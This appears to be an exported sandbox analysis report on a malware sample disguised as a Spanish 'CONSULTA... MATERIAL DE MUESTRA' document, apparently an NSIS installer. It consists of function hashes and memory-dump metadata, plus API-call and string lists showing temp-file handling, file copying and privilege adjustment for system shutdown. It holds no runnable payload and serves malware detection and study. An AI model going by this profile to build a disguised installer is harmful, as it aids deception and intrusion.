Opcode Fuzzy Hash: f9b74812fc9b6211a6ff9cd3dbf8337232158c31a5617ab15415c5f26af8a5d6
Instruction Fuzzy Hash: 4111BB75504280DFDB11CF54D5C0B15BFA2FB89314F28C6AAD84A4BA56C33AD84ACB62

Function 38778D11 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479d7af90417fe5c6725aef8955a6acd754d8fc42350fbcda48f314e66d2a891
Instruction ID: 7da3dabd4f90b366672ed0346e7b335881ad7c62d2483e52e40d6654bdbd8661
Opcode Fuzzy Hash: 479d7af90417fe5c6725aef8955a6acd754d8fc42350fbcda48f314e66d2a891
Instruction Fuzzy Hash: 05017C357082118BEB52DA7CD86472A67E3DB8A284F10887AE50ADB791DA31DD038795

Function 001114C0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99144ce30e92354d859602f3a6567cef9a6d5b14f3a8a40d40f9c9e37ac99948
Instruction ID: 68a48923dc33bcb4d43d880f4b06c517f2f3060185cb0796b303bd50e424297a
Opcode Fuzzy Hash: 99144ce30e92354d859602f3a6567cef9a6d5b14f3a8a40d40f9c9e37ac99948
Instruction Fuzzy Hash: BB016D31E002259BCF6AEFB884411EDBBF6EB89310B24047AD506E7201EB31DCC1CB95

Function 38772CC0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce925a5e3b4f06c2588ec8ebcd5265cac53d0e8a12386626f4029b0b345b5241
Instruction ID: 9c2c66ff82bd2050710cece3794998d15b40197f1b48926f37caa3cbf9e49a24
Opcode Fuzzy Hash: ce925a5e3b4f06c2588ec8ebcd5265cac53d0e8a12386626f4029b0b345b5241
Instruction Fuzzy Hash: F111CFB5D00619AFCB00CFAAD884ADEFBB4FF48310F50852AE918B7200C374A954CBA5

Function 3877E607 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67f61b9ea116eaa27d49cb744e10facb78f97d47c6079d35d7a3f85fab2687cb
Instruction ID: 57a4152bff8fe3d108c5ca4b4cf8154b345998668b2e22c4ffac89b50c7a93fd
Opcode Fuzzy Hash: 67f61b9ea116eaa27d49cb744e10facb78f97d47c6079d35d7a3f85fab2687cb
Instruction Fuzzy Hash: E1112B34610205CFDF18DBA4D594A6DB7B3AF89305F604568E402AF365DB71EC46CF90

Function 38772FF2 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb5a507c3dad99a34766b2f173f409d821ab3799b9a03301264fbd6183b64162
Instruction ID: 1a0c6257256b39f3664d6cc9901a62c19cdfc934dc212836648b1f2066f1c1bb
Opcode Fuzzy Hash: cb5a507c3dad99a34766b2f173f409d821ab3799b9a03301264fbd6183b64162
Instruction Fuzzy Hash: 6901A276B001188BDF459AA8D8147EF77BB9FC9351F404439D959EB284EE61CD0387E2

Function 0011F818 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47600c1e00d232c74e0a0a31c656f192978058407ac9b337f2901c9d87b9ce9d
Instruction ID: 4d64f7a57d157ff56a1f3d511164ab4473221811159affca7a1b2b3830744ab4
Opcode Fuzzy Hash: 47600c1e00d232c74e0a0a31c656f192978058407ac9b337f2901c9d87b9ce9d
Instruction Fuzzy Hash: DB1156B68003499FDB10CF99C944BDEBBF4EF48310F14886AE958B7210C339A590CFA5

Function 38773248 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 136517c0a2bf5b173cf2ab08548ca64f529f87b3a16645181ff1bde5b1c2189a
Instruction ID: ad2027885d331daefee2215dd8f7cd5c2716e1bbc71bad76d2350155905459d8
Opcode Fuzzy Hash: 136517c0a2bf5b173cf2ab08548ca64f529f87b3a16645181ff1bde5b1c2189a
Instruction Fuzzy Hash: FA018135B001104BFB1596ADD814B2BA7DBDBC9790F60883EF10ECB355EA75DC4283A1

Function 00115CB8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a75d2670c0247688f3d627b97dcc56a1a9be3f3e0c147a7b73be282e9ecee8cc
Instruction ID: facfaf628a99b7dc9e8463f3d5f7afa08d85e2f970ae69fd437e62141c4181df
Opcode Fuzzy Hash: a75d2670c0247688f3d627b97dcc56a1a9be3f3e0c147a7b73be282e9ecee8cc
Instruction Fuzzy Hash: B5012832A14518C7DF288AFCE8142DD7773EBC8330F608932C915F71C0DB25999987A0

Function 3877DBC8 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d042123273567cb21acdea9c999d1a4c1b2430f6dd98dd9b6737d3762a8a32
Instruction ID: 9f33ea80fde274fa0c5014a7447bf244c37d022bab23462abb0f2009b04eb37b
Opcode Fuzzy Hash: 64d042123273567cb21acdea9c999d1a4c1b2430f6dd98dd9b6737d3762a8a32
Instruction Fuzzy Hash: 41018135B045144BEB159A7C8464B2E66D7DBC9790F108439F20ACB355DE75DC038395

Function 38776A5F Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 539c190e12c2aac472c3bb73a9ebeb0857f676a0caade7b7c767ef3749ae9e8e
Instruction ID: cfcb4ac4f65d8b1e07c1d3ed4386bcfc98f55c4a08dbd868687a053383606db5
Opcode Fuzzy Hash: 539c190e12c2aac472c3bb73a9ebeb0857f676a0caade7b7c767ef3749ae9e8e
Instruction Fuzzy Hash: 46012435A04314CFDF248961C840BBABBB3EF80350F16443AEA00EB244C670D846C760

Function 38778D20 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f96749df39d67949deaba15a53d0df94a8b42eceba742fd0fe4b2b166a0e86f
Instruction ID: b3a801cb116d970aaeb990fd21355bdb06e636d507bbba84d2333dc869f65473
Opcode Fuzzy Hash: 5f96749df39d67949deaba15a53d0df94a8b42eceba742fd0fe4b2b166a0e86f
Instruction Fuzzy Hash: 02018C347041109BEB61DA6CD864B2AB3D7EB8E350F60883DF60ADB740EA31DD02C799

Function 388503B8 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579955134.0000000038850000.00000040.00000800.00020000.00000000.sdmp, Offset: 38850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38850000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86985449bfd25b3a6397fcc89a9d7ac7fde589b0b6f7c44d264fdc35b191c94e
Instruction ID: 36fa1038f9a7a0ec98a9e7a3ee019b7f22e661f21396c5d4d2862295a6762e84
Opcode Fuzzy Hash: 86985449bfd25b3a6397fcc89a9d7ac7fde589b0b6f7c44d264fdc35b191c94e
Instruction Fuzzy Hash: BF014966E657D31BD3024A719D102D57B659FE7104B18879BD088CB992EB7458C5C3D0

Function 38779928 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6a253dfa5c0b8e39e4e4edcc71e495a525280529c2a5d69c319b41040c746c7
Instruction ID: 01e5203ddd0b7b1ce1edf734d1df58394e9fa4d3b46d74ac2fcdbebf8d8485b8
Opcode Fuzzy Hash: b6a253dfa5c0b8e39e4e4edcc71e495a525280529c2a5d69c319b41040c746c7
Instruction Fuzzy Hash: 1601A435A01318DBFF249A68D45479EB7ABEBC6360F10443AE549EB340D6759C05CB91

Function 00115421 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c093734a8e0fd3c2f66074421dba4013b5dccdb4bbd8aa5765c8fed0c05e19d3
Instruction ID: 3b4cb198cea61b245d1b79feecc1a7620c28603975d8a0a4ed8acb4d50251e33
Opcode Fuzzy Hash: c093734a8e0fd3c2f66074421dba4013b5dccdb4bbd8aa5765c8fed0c05e19d3
Instruction Fuzzy Hash: 5401D171E00210DFDB19EBB598413EE3BB2AB84301F20487EC205E7691FB35CB828B85

Function 3877B5E8 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44cc2b311142198f0a30c5fcb2dd2b6eed076e90d2c4e33caae02671d64473f6
Instruction ID: 948f0cdf185a75d1af9f51c0b235eea881794f92d54932e092397827f5f91311
Opcode Fuzzy Hash: 44cc2b311142198f0a30c5fcb2dd2b6eed076e90d2c4e33caae02671d64473f6
Instruction Fuzzy Hash: 9DF02432F11228ABEB044A65CC146EA7B3BEB85390F204439FA01EB280DB71A812C7D0

Function 0011ED57 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c28651c649519b146a4a10863214c2a2dd3f75868b4d812f9e23b5d8e2b1c9df
Instruction ID: 24c49684d9b3edf6effe73d9da542018937702d8ef9f0f8a6335d125ecdb3095
Opcode Fuzzy Hash: c28651c649519b146a4a10863214c2a2dd3f75868b4d812f9e23b5d8e2b1c9df
Instruction Fuzzy Hash: 50F08C35B001198FDF04CBA9E844BDEB7F1FF88322F1582A5E529A72D4C6349951CBA0

Function 0011099B Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c106a1751030cf14d3a5b42b625dd5263c86a3b5d5e1b65f74e38351b32c1b7
Instruction ID: e7996b40ab467042edc593469b49bd40390e43d0ccba4e7f76b419b8afa2db1a
Opcode Fuzzy Hash: 2c106a1751030cf14d3a5b42b625dd5263c86a3b5d5e1b65f74e38351b32c1b7
Instruction Fuzzy Hash: 60F04C1194C7589AEB2B5AA00C382B076016B58328B09067EC59D9B193D390C9E0C38A

Function 00116508 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1bd7bf7ea47c9a3550dec0bac6d3445764c4ad26cee689c1ef7180fc24fd0081
Instruction ID: 0309c7ac532c7a574209e78e30681eb357bdb42394b5c92bfa1ac0e01f6d3c79
Opcode Fuzzy Hash: 1bd7bf7ea47c9a3550dec0bac6d3445764c4ad26cee689c1ef7180fc24fd0081
Instruction Fuzzy Hash: E6012835B40604CFE718DB78D998BAC77B2EF89351F2500A8E1068B3A4CB39AC42CB41

Function 0011F5E0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 982b8d28f6938a62f42b4e2a04c1f4870a716ef9c469a4b7aedfda3c754e97f3
Instruction ID: ea027d2efebe121785119116976e63db74f80db77b8fb6355b4f172541435e3f
Opcode Fuzzy Hash: 982b8d28f6938a62f42b4e2a04c1f4870a716ef9c469a4b7aedfda3c754e97f3
Instruction Fuzzy Hash: BBF082373002196F8F059E99AC01DAF7BABEBC8360B40442AF90993351DF315D229BA5

Function 0011EDF0 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2ef896748c767b7cec7199edac80c2f1fbb526f6ffbfada62e06093a991d0e4
Instruction ID: 3b7fed45fb7c862c2f5c43c4a929a1e025faa66f7807c8b824f570ac7e62d9d4
Opcode Fuzzy Hash: d2ef896748c767b7cec7199edac80c2f1fbb526f6ffbfada62e06093a991d0e4
Instruction Fuzzy Hash: 83F06D71E0131A9F8B54EFF9A8056EBBBF9EB05210F11847AD809E7204F730CA819B91

Function 3877E410 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31aa25efd62166ee392436c95d535ac9698135fc0edebeb4b75040a9580be65e
Instruction ID: c58a0a31b85aa84a5ae9b6c7e8359c7bb3991ca900c0242b22421e426973085a
Opcode Fuzzy Hash: 31aa25efd62166ee392436c95d535ac9698135fc0edebeb4b75040a9580be65e
Instruction Fuzzy Hash: E7E0863A664244CBFF004579A5583A8337BDF016A9F100826FC0EDB280CA26C987C211

Function 3877F307 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 466f4016db720711ebb8513ed44e895998734c4f61251bb960b25fc539e75556
Instruction ID: 21f60dd9531d997717145d69426c61d9cc27bdb09672c964f1d0d01ec5cfb82d
Opcode Fuzzy Hash: 466f4016db720711ebb8513ed44e895998734c4f61251bb960b25fc539e75556
Instruction Fuzzy Hash: 95E04639B052158BAE04A198AA922FC6397EF843A5F604176F524EF345EB22DC13C7A1

Function 38773A89 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 976dd7b1b2e089b5d3f0d4d98d2723e09a0927e4cdedd4c16032eb3186abd258
Instruction ID: be4cd4d265f3e099873f76b75120e42c8e9b4b99fde5b2a92c77cfa9bba7900c
Opcode Fuzzy Hash: 976dd7b1b2e089b5d3f0d4d98d2723e09a0927e4cdedd4c16032eb3186abd258
Instruction Fuzzy Hash: BEF0DA30A20129DBDF10DF94E85ABAEBBB2FF84700F60051AF402AB694CB751C02DB90

Function 3877E3C0 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12d60f379611615f31ecfec0136b1ebf9256aa14acd64a1934f046feff9c3349
Instruction ID: 4483e9cdbc3ea0d4640ff9ff63f8143974799c4e89a5ab9f164c46c352e32bb8
Opcode Fuzzy Hash: 12d60f379611615f31ecfec0136b1ebf9256aa14acd64a1934f046feff9c3349
Instruction Fuzzy Hash: F1E08635659280CFFF014568A5543583B77DF12294F100563F80EDB281DA25CD42C721

Function 0011EE00 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553217482.0000000000110000.00000040.00000800.00020000.00000000.sdmp, Offset: 00110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_110000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cab1263a67fb7e1522769568941792a47402187b8a30cd15f649f995d3e55a0
Instruction ID: a5b3ccff0d40ea1649be4f179f8455e0dac8c03dd68c9816569f96dd33f4b0ba
Opcode Fuzzy Hash: 9cab1263a67fb7e1522769568941792a47402187b8a30cd15f649f995d3e55a0
Instruction Fuzzy Hash: 96E01A71E0121A9F8B54EEF9A8002EBBAF9EB44650F118476D809E3200F731CA908BD1

Function 3877EABE Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80795d30c9eb02dd4c769c56e354a6868048aaf72d44fde8b75e9e80c1b60d54
Instruction ID: 48e39f311585a2ec4bdf5a4eec2df9537db7e72d7e6d164a9e03af3455871822
Opcode Fuzzy Hash: 80795d30c9eb02dd4c769c56e354a6868048aaf72d44fde8b75e9e80c1b60d54
Instruction Fuzzy Hash: 85E0C236B002258B5E04A19464A24EC7393EB946A535045B9F601DB382DA319C46C7D0

Function 3877E33F Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579877582.0000000038770000.00000040.00000800.00020000.00000000.sdmp, Offset: 38770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38770000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 473778f3e38fa9424c2e656e26e1ab121e21e90742ae3771cd7a0bbf88c55a81
Instruction ID: 29b1c09dff989a2d94d922e5cd8ff53c3e5846041f1fb3b1d3779a46e273f575
Opcode Fuzzy Hash: 473778f3e38fa9424c2e656e26e1ab121e21e90742ae3771cd7a0bbf88c55a81
Instruction Fuzzy Hash: 46D09E36B416159FEB005BA4EC4959C7761F785265B140162E60A97550DA350911CB81

Function 388503C8 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7579955134.0000000038850000.00000040.00000800.00020000.00000000.sdmp, Offset: 38850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_38850000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6b01c01718ff3d4b4aa394f65092990845e19ae755d0776ba37502138a93a4a
Instruction ID: a22994f55f160d561a671362a7c89d5f60a0fce1a0beb8ed74c58678526348d6
Opcode Fuzzy Hash: d6b01c01718ff3d4b4aa394f65092990845e19ae755d0776ba37502138a93a4a
Instruction Fuzzy Hash: B2C0C0306083140FD320622EB4083CE77DD5B44211F40411BF049C3900CF906C40C3C0

Non-executed Functions

Function 0040344A Relevance: 77.4, APIs: 33, Strings: 11, Instructions: 401stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 0040346D
GetVersion.KERNEL32 ref: 00403473
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 0040349C
#17.COMCTL32(00000007,00000009), ref: 004034BF
OleInitialize.OLE32(00000000), ref: 004034C6
SHGetFileInfoW.SHELL32(004216E8,00000000,?,000002B4,00000000), ref: 004034E2
GetCommandLineW.KERNEL32(00429240,NSIS Error), ref: 004034F7
GetModuleHandleW.KERNEL32(00000000,00435000,00000000), ref: 0040350A
CharNextW.USER32(00000000,00435000,00000020), ref: 00403531

Part of subcall function 004065EC: GetModuleHandleA.KERNEL32(?,00000020,?,004034B3,00000009), ref: 004065FE
Part of subcall function 004065EC: GetProcAddress.KERNEL32(00000000,?), ref: 00406619

GetTempPathW.KERNEL32(00000400,00437800), ref: 0040366B
GetWindowsDirectoryW.KERNEL32(00437800,000003FB), ref: 0040367C
lstrcatW.KERNEL32(00437800,\Temp), ref: 00403688
GetTempPathW.KERNEL32(000003FC,00437800,00437800,\Temp), ref: 0040369C
lstrcatW.KERNEL32(00437800,Low), ref: 004036A4
SetEnvironmentVariableW.KERNEL32(TEMP,00437800,00437800,Low), ref: 004036B5
SetEnvironmentVariableW.KERNEL32(TMP,00437800), ref: 004036BD
DeleteFileW.KERNEL32(00437000), ref: 004036D1

Part of subcall function 00406212: lstrcpynW.KERNEL32(?,?,00000400,004034F7,00429240,NSIS Error), ref: 0040621F

OleUninitialize.OLE32(?), ref: 0040379C
ExitProcess.KERNEL32 ref: 004037BD
lstrcatW.KERNEL32(00437800,~nsu,00435000,00000000,?), ref: 004037D0
lstrcatW.KERNEL32(00437800,0040A328,00437800,~nsu,00435000,00000000,?), ref: 004037DF
lstrcatW.KERNEL32(00437800,.tmp,00437800,~nsu,00435000,00000000,?), ref: 004037EA
lstrcmpiW.KERNEL32(00437800,00436800,00437800,.tmp,00437800,~nsu,00435000,00000000,?), ref: 004037F6
SetCurrentDirectoryW.KERNEL32(00437800,00437800), ref: 00403812
DeleteFileW.KERNEL32(00420EE8,00420EE8,?,0042B000,?), ref: 0040386C
CopyFileW.KERNEL32(00438800,00420EE8,?), ref: 00403880
CloseHandle.KERNEL32(00000000,00420EE8,00420EE8,?,00420EE8,00000000), ref: 004038AD
GetCurrentProcess.KERNEL32(00000028,?), ref: 004038DC
OpenProcessToken.ADVAPI32(00000000), ref: 004038E3
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004038F8
AdjustTokenPrivileges.ADVAPI32 ref: 0040391B
ExitWindowsEx.USER32(00000002,80040002), ref: 00403940
ExitProcess.KERNEL32 ref: 00403963

Strings

Low, xrefs: 0040369E
.tmp, xrefs: 004037E4
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403461
TMP, xrefs: 004036B8
SeShutdownPrivilege, xrefs: 004038F2
\Temp, xrefs: 00403682
TEMP, xrefs: 004036B0
~nsu, xrefs: 004037C8
Error launching installer, xrefs: 00403753
NSIS Error, xrefs: 004034E8
UXTHEME, xrefs: 00403490, 00403495, 0040349B

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2488574733-334447862
Opcode ID: e81b6ee9495c618af63e0bf9f93b7c419950b7cdd879aa5472dedf14c25ba188
Instruction ID: 1c098c9ac5d33f9e9f606ea88917c77842503da0397251e5f420d8b791505771
Opcode Fuzzy Hash: e81b6ee9495c618af63e0bf9f93b7c419950b7cdd879aa5472dedf14c25ba188
Instruction Fuzzy Hash: 92D107B1200301ABD7207F659D49A3B3AACEB80709F51443FF881B62D1DB7D8952CB6E

Function 00404CED Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404D05
GetDlgItem.USER32(?,00000408), ref: 00404D10
GlobalAlloc.KERNEL32(00000040,?), ref: 00404D5A
LoadBitmapW.USER32(0000006E), ref: 00404D6D
SetWindowLongW.USER32(?,000000FC,004052E5), ref: 00404D86
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404D9A
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404DAC
SendMessageW.USER32(?,00001109,00000002), ref: 00404DC2
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404DCE
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404DE0
DeleteObject.GDI32(00000000), ref: 00404DE3
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404E0E
